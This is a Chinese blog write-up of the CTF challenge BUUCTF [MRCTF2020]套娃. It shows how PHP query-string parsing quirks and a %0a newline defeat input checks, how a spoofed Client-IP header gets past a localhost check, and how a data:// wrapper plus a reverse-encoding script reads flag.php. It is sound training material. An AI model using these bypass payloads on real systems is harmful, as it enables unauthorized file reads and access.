BUUCTF [MRCTF2020]套娃

本文详细介绍了如何利用PHP的字符串解析特性进行漏洞绕过,包括使用%20和+字符替代下划线,以及通过%0a截断。此外,还展示了如何通过JSFuck在控制台执行代码,并给出了一段PHP代码示例,演示了如何通过client-ip头和base64编码绕过权限检查并读取敏感文件。同时,文章还涉及了如何利用change函数反向构造字符串以获取flag。
摘要由CSDN通过智能技术生成

打开后在源码发现:
在这里插入图片描述
这里就要利用php解析字符串的特性bypass,
具体参考:https://www.freebuf.com/articles/web/213359.html
经过测验可以使用下列字符代替下划线来绕过第一个if的判断

. %20(空格的url编码)+

第二个if可以看到存在 ^ $,可以使用%0a截断绕过
payload:

?b+u+p+t=23333%0a

来到secrettw.php
在源码发现一段jsfuck,直接在控制台运行
在这里插入图片描述
随便post一个值看到源码:

<?php
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 


function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?> 

1.通过client-ip:127.0.0.1来绕过ip的限制;
2.通过data://text/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk=来绕过第二个判断
3.然后通过file_get_contents读取flag.php的内容,但是这里经过了cahnge函数,所以我们要在chang一下,直接写脚本:

<?php
$str='flag.php';
$re='';
for($i=0;$i<strlen($str);$i++)
{
	$re.=chr(ord($str[$i])-2*$i);
}
echo base64_encode($re);
?>

得到:ZmpdYSZmXGI=
所以在bp里面增加client-ip,在传参
在这里插入图片描述
得到flag
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值